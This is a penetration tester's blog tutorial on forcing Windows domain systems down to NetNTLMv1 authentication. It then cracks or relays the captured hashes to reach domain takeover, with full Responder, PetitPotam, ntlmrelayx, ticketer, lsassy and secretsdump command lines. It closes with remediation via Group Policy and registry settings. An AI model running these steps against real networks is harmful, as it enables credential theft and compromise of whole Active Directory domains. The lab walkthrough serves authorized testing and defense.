vnISS.net

NetNTLMv1 Downgrade to compromise

September 2023 Autor: Alexander Wolf, @WolfieMcFly

In this blogpost I’m going to blow your mind with some easy to understand NetNTLMv1 downgrade and relaying stuff. I will keep this blogpost simple, so that everyone can follow these steps, but I will link further resources for those who want to get the bigger picture at the end of this post.

First I am going to show you my lab environment for the different attacks I’m about to go through and the tools I used for each attack. What comes next is the real deal. I will in detail go through the attack path of downgrading to NetNTLMv1 authentication and the further exploitation steps needed to elevate privileges in an effected environment. This blog includes two common attack scenarios, which occurred to us frequently during our internal penetration tests.

The first scenario focusses on cracking the DES encryption being used in NetNTLMv1 to get the machine accounts NT hash, which can afterwards be used for Pass-the-Hash. For vulnerable Domain Controllers (DC), this leads to an instant full domain compromise in terms of that an attacker can DCSync any other users credentials including domain administrators. For any other vulnerable systems, a Silver Ticket can be generated to compromise those single systems.

The second scenario covers relaying from a vulnerable system to LDAP. Depending on the target system, it also leads to full domain or single system compromise.

Each chapter will also describe the prerequisites that have to be met and describe the exploitation steps.

At the end, remediations to prevent those attacks will be shown followed by some vocabulary which might be needed to understand or follow this blogpost.

Warning: At the end of every attack path I will execute an exemplary DCSync, but be aware that this might not always be needed at all when doing internal pentests.

So without further ado, let’s get started.

1. Lab Environment

2. Tools

3. Who is vulnerable

4. Cracking NetNTLMv1

5. Relaying NetNTLMv1

6. Remediation

7. Wording

8. Sources

1. Lab Environment

Cracking NetNTLMv1

Kali Linux
IP: 172.16.0.103 WIN-2012DC.Wolfsbruder2.local
Windows Server 2012 Domain Controller 1
IP: 172.16.0.105 WIN-2012DC2.Wolfsbruder2.local
Windows Server 2012 Domain Controller 2
IP: 172.16.0.106 WIN-2012.Wolfsbruder2.local
Windows Server 2012 Server
IP: 172.16.0.110

Relaying NetNTLMv1

**Kali Linux
**IP: 172.16.0.10 **Alphawolf-DC.Wolfsbruder.local
**Windows Server 2019 Domain Controller 1
IP: 172.16.0.101
**WIN-2019-DC2.Wolfsbruder.local
**Windows Server 2019 Domain Controller 2
IP: 172.16.0.107 2. Tools

3. Who is vulnerable

NetNTLMv1 downgrade will work on networks where the "LAN Manager authentication level" is set to 2 or less. This is a fairly common scenario, especially in older, larger Windows environments. It should not work on systems, which were initially installed with Windows 10 / Server 2016 or newer. However, upgraded systems may still have this vulnerable configuration or it was changed manually by administrators.

4. Cracking NetNTLMv1

Procedure

Use Responder to downgrade the authentication from the target system Force an incoming system authentication via Coercion Crack the hash with crack.sh With the cracked hash from a domain controller
- Pass-the-Hash (PtH) attack for DCSync With the cracked hash of any other machine account
- Create a Kerberos Silver Ticket to get code execution on the target
- Further Post Exploitation

Proof of Concept
So the first technique we will cover is to downgrade the authentication of a system to NetNTLMv1 for cracking purposes. In the first example we will target a vulnerable domain controller, as that machine account is allowed to perform a DCSync with other DCs.

Why do we even want to downgrade to NetNTLMv1?

Because it uses the outdated encryption method DES to protect the NT/LM Hash. DES encryption is considered insecure for many years already, as going through it’s whole key-space with e.g. brute force is nowadays possible even with non-high-end computers. By cracking this encryption, we can therefore retrieve the NT hash of the target computer account, which can afterwards be used for Pass-the-Hash. Since this could still take several days depending on the computing power, there is an alternative route to get our hands on the NT hash. There’s this website called crack.sh which will do the magic for you.

Actually no magic at all. They use big Rainbow tables to crack the NetNTLMv1 hash and after the job’s done and the DES encryption was cracked, you will receive an email containing the NT hash. Unfortunately, their cracking service is down from time to time. In that specific situation, you have no other option than to crack it yourself as described here or use relaying instead (see next chapter - Relaying NetNTLMv1).

Before we go on with the bad stuff, let’s answer the question “how do we get our hands on the NetNTLMv1 hash in the first place?”

Fairly easy.

First thing we do is to run Responder with the following flags:

responder -I <network interface> --lm --disable-ess

--lm will force the downgrade to NetNTLMv1 and --disable-ess will force ESS downgrade so that we get the NetNTLMv1 and not NetNTLMv1-SSP hash.

For the next step, we need to coerce the authentication of our target system WIN-2012DC to our Kali system. In this example we’ll use the tool PetitPotam.

python PetitPotam.py -u <username> -p <password> -d <domain> <attacker IP> <target IP>

Figure 1: Coercing authentification with PetitPotam

If the attack was successful Responder (or ntlmrelayx.py) should have caught the NetNTLMv1 hash, which looks like this:

Figure 2: Catching NetNTLMv1 hash with Responder

It is also possible that you will get a NetNTLMv1-SSP hash. This hash’s not crackable with crack.sh for free, but still – with some reformatting and more effort as described in the ntlmv1-multi repository, it is still possible to crack the encryption here. Alternatively, the NetNTLMv1-SSP hash can also be relayed, which we will get back to it in the relay section.

Figure 3: NetNTLMv1 with SSP

Note: In some cases there won’t be an authentication flying in although the target system is vulnerable, e.g. when the target uses NetNTLMv1 by default. If you encounter such a case, try to leave out the –lm and/or –disable-ess flags.

We also faced situations, in which responder was not able to catch the NetNTLMv1 authentication at all, but ntlmrelayx.py did without –smb2support but with –ntlmchallenge 1122334455667788 instead. So it’s worth doing coercion multiple times with different setups just to be sure here.

Now all you need to do is to submit the NetNTLMv1 hash to crack.sh and wait for the email with the cracked hash to arrive. The email received looks like this:

Figure 4: cracked NetNTLMv1 hash with crack.sh

For the next part we will go through 2 scenarios:

1st scenario: Cracked hash of domain controller

2nd scenario: Cracked hash of machine where domain admin has session on

1st scenario: Cracked hash of Domain Controller

This one is straightforward. You can instantly execute a DCSync with a Pass-the-Hash attack as follows:

impacket-secretsdump -hashes :<hash of domain controller> <domain>/<machine account>@<domain controller ip>

Figure 5: DCSync with the domain controller hash

Note: Don’t forget the „:“ before the hash, otherwise secretsdump throws an error because it expects the LM and the NT hash as value, but only receives one (the LM hash).

2nd scenario: Cracked hash of any other machine account

NetNTLMv1 is by far not only relevant for domain controllers from our attacker perspective. Any other server or client supporting it for authentication can also get compromised. The impact might not be a full domain compromise, but with further post exploitation and lateral movement can also lead to the worst case scenario.

So let’s assume, we got our hands on credentials of a low privileged domain user and we are targeting the server system WIN-2012. To make this target more interesting, we assume that the domain admin adm_Wolfsbruder2 has a session on it. All we need to do is to grab the NT hash of the system and to request a Silver Ticket for an administrative user over the target system. With that Kerberos ticket we can for example authenticate administratively to dump the LSASS process for getting domain administrator privileges.

What we do first is to force an incoming machine account authentication via PetitPotam from our target machine WIN-2012 to our Kali Linux machine:

python PetitPotam.py -u <username> -p <password> -d <domain> <attacker IP> <target IP>

Figure 6: Coercing authentication

responder -I <network interface> --lm --disable-ess

Figure 7: NetNTLMv1 hash

Next we thankfully accept the service of crack.sh and use it to get the NT hash:

Figure 8: Cracked NetNTLMv1 hash

Unfortunately machine accounts typically don‘t have administrative privileges over itself or other systems, so we can’t just authenticate administratively via Pass-the-Hash. Instead, we need to craft a Silver Ticket for that purpose.

To do so, we need to gather some more information:

Domain SID: Can be enumerated from every user SPN: Service we want to access (CIFS in this case) Domain User ID: User we want to impersonate with this ticket (500 for Administrator) Domain Group SID: 512 for Domain Admins Group Account Name: Name for the ticket

We can get the required information with any low privilege domain user but since we already got our hands on the machine NT hash, we can collect these pieces of information also remotely with impacket-lookupsid (or any other tool that can do LDAP queries):

impacket-lookupsid -target-ip <dc ip> -hashes :<NT hash> <domain>/<machine account>@<machine ip> | grep -i <query>

Figure 9: Enumerating domain SID

Figure 10: Enumerating User ID

Figure 11: Enumerating Domain Group SID

User ID 500 and Domain Group SID 512 are typically the Administrator user and Domain Admins Group respectively but we can use any other user with sufficient rights to perform the action we need on that system.

With this information, we are now able to create a Silver Ticket:

impacket-ticketer –nthash <NT hash of target machine> -domain-sid <Domain SID> -domain <Domain> -spn <SPN> -user-id <Domain User ID> -groups <Domain Group SID> <Account Name>

Figure 12: Creating Silver Ticket for target machine with impacket-ticketer

This results in a Kerberos credential cache file named Administrator.ccache, which we will import to our current [insert favorite command line tool] session over the KRB5CCNAME environment variable.

Figure 13: Export Kerberos credential cache

After importing the ticket, use any lateral movement script with the -k flag to authenticate with our newly imported ticket. We can for example also dump LSASS now with lsassy:

lsassy –k <FQDN target system>

Figure 14: LSASS dump of target machine

If everything works according to plan, we should get the NT hashes of the users which have/had a session on that system and among them the NT hash of our desired user adm_Wolfsbruder2.

Note: Not the user you looked for? Don’t worry, you can repeat these steps with the newly enumerated users and move further through the domain until you get the user you desire. Hopefully.

So what are we going to do with this last piece of information? Anything you can imagine of. And of course if the permissions are sufficient. But for now: it’s DCSync time!

impacket-secretsdump -hashes :<hash of user with DCSync privileges> <domain>/<User with DCSync privileges>@<dc ip>

Figure 15: DCSync with the domain admin user NT hash

5. Relaying NetNTLMv1

Additional prerequisites

This attack path has a few more prerequisites than the last attack. In addition to the prerequisites to downgrading to NetNTLMv1 this path also requires at least two domain controllers to relay between and they need to be at least on a Windows Server 2012 functional level.

RBCD

For this attack to work we also need

LDAP Signing and Channel Binding to be not enforced The msDS-MachineAccountQuota attribute value needs to be bigger than 0 or we need to have at least one other system compromised already

The whole attack chain for Resource Based Constrained Delegation with more background information was also described in our previous blog post:
Resource Based Constrained Delegation - Practical guide for Active Directory Privilege Escalation and Lateral Movement

Shadow credentials:

For this attack to work we also need

At least one DC running that supports PKINIT

Procedure

Coerce all Domain Controllers and check for incoming NetNTLMv1(-SSP) hash(es) Either execute a RBCD Attack, create a Service Ticket and DCSync or Add shadow credentials for a domain controller, request a Kerberos Ticket Granting Ticket (TGT), extract the NT hash from that ticket and DCSync

Proof of Concept

For this attack, instead of capturing the NetNTLMv1 hash and trying to crack it, we simply relay the authentication to the LDAP service of a domain controller. This is possible because NetNTLMv1 does not have a Message Integrity Code. More simple: we force our target system to send a machine account authentication request to our attacker system and immediately relay this request to another domain controller. What can we do with machine account authentications over LDAP? Modifying their own machine account attribute values for example, which enables Resource Based Constrained Delegation (RBCD) or Shadow Credential attacks.

1st scenario: RBCD

First we run Responder to see if we get any hashes from a DC:

Figure 16: NetNTLMv1 with SSP

As mentioned earlier in this post, in this example we get a NetNTLMv1-SSP hash which takes a lot of effort to crack. Instead, just as a NetNTLMv1 hash without SSP, we can relay this hash with impacket-ntlmrelayx to create a new machine account which has permissions to impersonate users within our target system, which is in this case WIN-2019-DC2:

impacket-ntlmrelayx -t ldaps://<FQDN not target dc> --remove-mic -smb2support --delegate-access

Figure 17: Creating machine account with impersonate user rights on target dc

python PetitPotam.py -u <user> -p <password> -d <domain> -dc-ip <dc ip> <kali ip> <target dc ip>

Figure 18: Coercing authentification with PetitPotam

After configuring Resource based Constrained Delegation, we can create a Service Ticket for our target machine with impacket-getSTtool. This time we will impersonate the domain admin adm_Wolfsbruder:

impacket-getST -spn cifs/<FQDN target dc> -impersonate <user to impersonate> <domain>/<created machine account>:<password>

Figure 19: Creating Service Ticket for target machine with impacket-getST

Aaaaaaaaand DCSync time!

export KRB5CCNAME=<output>.ccache

impacket-secretsdump -k <FQDN target dc>

Figure 20: DCSync through RBCD

Note: For Kerberos authentication, you need to always use FQDNs instead of IPs or just the hostname.

2nd scenario: Shadow credentials

For this attack path, we need to configure shadow credentials (alternative credentials in form of a certificate) for the vulnerable DC via --shadow-credentials flag and --remove-mic flag to remove the flag requiring message signing:

impacket-ntlmrelayx --remove-mic -t ldaps://<FQDN dc> --shadow-credentials --shadow-target <target machine account> -smb2support

Figure 21: Relaying with shadow credentials

What happened here? We coerced the authentication from WIN-2019-DC2 to our system and relayed it further to LDAPS on Alphawolf-DC. A self-signed certificate for authentication was generated and put into the msDS-KeyCredentialLink attribute as alternative authentication method. We can use this certificate afterwards to request a Kerberos TGT for WIN-2019-DC2.

The next step is simple. We just copy/paste the last command from the output to request a Ticket Granting Ticket:

python3 gettgtpkinit.py -cert-pfx <pfx file>.pfx -pfx-pass <password> <domain>/<target machine account> <output file>.ccache

Figure 22: Requesting TGT

First we import the newly created Kerberos TGT:

export KRB3CCNAME=<ccache file>.ccache

Figure 23: Import Kerberos Credential Cache

If we want to use the certificate with certipy, we first need to remove the password (as certipy only accepts certificates without password) and generate a new password less certificate with the following command:

certipy cert –pfx <pfx file>.pfx –password <password> -export –out <output file>.pfx

Figure 24: Decrypt TGT ticket

And then we can get the NT hash via UnPAC-the-Hash over PKINIT (you can find a description about how UnPAC-the-Hash works here:

certipy auth -pfx <decrypted>.pfx -domain <domain> -dc-ip <dc ip> -username <target machine account>

Figure 25: UnPAC-The-Hash to get the NTLM hash from decrypted TGT ticket

Aaaaaaaaand it’s that time again!

impacket-secretsdump -hashes :<NT hash> <domain>/<target machine account>@<dc ip>

Figure 26: DCSync through shadow credentials

6. Remediation

There are multiple ways to disrupt these attack chains but the most impactful one would be to disable NetNTLMv1 authentications on the network. Either locally on all Clients and Servers or via domain-wide GPO.

Locally

Two options to disable NetNTLMv1 authentication locally would be to:

Set the value of "Local Security Settings" > "Local Policies" > "Security Options" > "Network security: LAN Manager authentication level" to at least "Send NTLMv2 response only".

With this value workstations and member servers will only send NetNTLM version 2 responses. Domain controllers will still accept and send NTLMv1. To configure domain controllers to accept and send only NTLM version 2, select the option named “Send NTLMv2 response only. Refuse LM & NTLM”:

Figure 27: Disabling NetNTLMv1 usage through Local Security Settings

Or through registry „Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ LmCompatibilityLevel“.

Values 0 to 5 are possible which are equivalent to the „Network security: LAN Manager authentication level“ values from the Local Security Settings (value 0 = Send LM and NTLM responses:

Figure 28: Disabling NetNTLMv1 through registry

Figure 29: Network security: LAN Manager authentication level values

Domain-wide GPO

From the Group Policy Management menu create a new GPO:

Figure 30: Create a new GPO

Name the GPO:

Figure 31: Name GPO

Expand Group Policy Objects, right-click the new Group Policy Object and select the „Edit“ option:

Figure 32: Edit newly created GPO

The Group Policy Management Editor will pop up.

Navigate to „Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options“:

Figure 33: Security Options

Change the value of „Network Security: LAN Manager authentication level“ to at least "Send NTLMv2 response only":

Figure 34: Set the domain-wide value for Network Security: LAN Manager authentication level

To save the group policy configuration, just close the Group Policy editor.

On the Group policy management screen, right-click the Organizational Unit and select the option to „Link an existing GPO“:

Figure 35: Link created GPO to root

If the GPO is set, it is not allowed anymore to change the value:

Figure 36: Changes not allowed anymore

7. Wording DCSync
A DCSync is a functionality used by Domain Controllers (DC) to exchange/sync password hash information between each other. Attackers can abuse this feature with corresponding permissions to retrieve other users credential information.
https://attack.mitre.org/techniques/T1003/006/ Kerberos Ticket Granting Ticket (TGT)
In Kerberos authentication, this ticket is used to request access for specific resources/systems joined to the domain. LSASS
Windows Local Security Authority Subsystem Service is a process that manages the computer’s security policy. LSASS validates logins, password changes, access tokens, and administrative privileges for multiple users on a system or server. Message Integrity Check
This is a protection signature that protects NTLM messages integrity, so that data can’t be changed in transit. NetNTLMv1/NetNTLMv2
Net-NTLM hashes are used for network authentication. They are derived from a challenge/response algorithm and are based on the user's NT hash. These hashes cannot be used for Pass-the-Hash Attacks but instead for Relaying Attacks. Version 2 integrated several security relevant protection mechanisms and features, which are not integrated in Version 1. NTLM
The New Technology Lan Manager (NTLM) is a hashing algorithm, used to store passwords on modern Windows systems and can be obtained by dumping the SAM database and further from the NTDS file on domain controllers. These hashes can be used for Pass-the-Hash Attacks. Pass-the-Hash
This is a technique where an attacker authenticates over the network with the NTLM-Hash instead of a password.
https://attack.mitre.org/techniques/T1550/002/ Pass-the-Ticket
This is a technique where an attacker passes a Kerberos ticket to authenticate to resources.
https://attack.mitre.org/techniques/T1550/003/ Relaying
Intercepting an authentication from one system over Man-in-the-Middle position and forward it to another system to authenticate without knowing the actual password.
https://attack.mitre.org/techniques/T1557/001/ Resource Based Constrained Delegation (RBCD)
If the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a system can be edited, this can be used to give another system the ability to impersonate any other user on that machine via Kerberos. Machine accounts can edit their own msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Service Ticket
A Service Ticket provides access to application services such as an HTTP or SSH service running on a system and it contains the NT hash. Shadow credentials
This technique allows to take over an AD user or computer account, if the msDS-KeyCredentialLink attribute on the target can be modified. In this attribute, alternate credentials in the form of certificates can be appended. Silver Ticket
A forged Kerberos authentication ticket that allows to log into a specific account on a specific service.
https://attack.mitre.org/techniques/T1558/002/ 8. Sources Relaying 101
https://luemmelsec.github.io/Relaying-101/ Practical Attacks against NTLMv1
https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/ Cracking NETLM/NETNTLMv1 Authentication
https://crack.sh/netntlm/ MIC (Message Integrity Check)
https://www.tech-faq.com/mic-message-integrity-check.html LM, NTLM, Net-NTLMv2, oh my!
https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4 (RBCD) Resource-based constrained
https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd Shadow Credentials
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials Ticket Granting Tickets
https://doubleoctopus.com/security-wiki/authentication/ticket-granting-tickets/ Kerberos: Achieving Command Execution using Silver Tickets
https://www.exploit-db.com/docs/48455 UnPAC the hash
https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash How to Disable NTLM Authentication in Windows Domain?
https://woshub.com/disable-ntlm-authentication-windows/ How to mitigate PetitPotam NTLM Relay Attack
https://www.calcomsoftware.com/how-to-mitigate-petitpotam-ntlm-relay-attack/ GPO - Disable NTLM version 1
https://techexpert.tips/windows/gpo-disable-ntlm-version-1/

Categories

Thông báo

Bảo mật & Thâm nhập

Hệ thống & Mạng

Ngôn ngữ lập trình

Thảo luận chung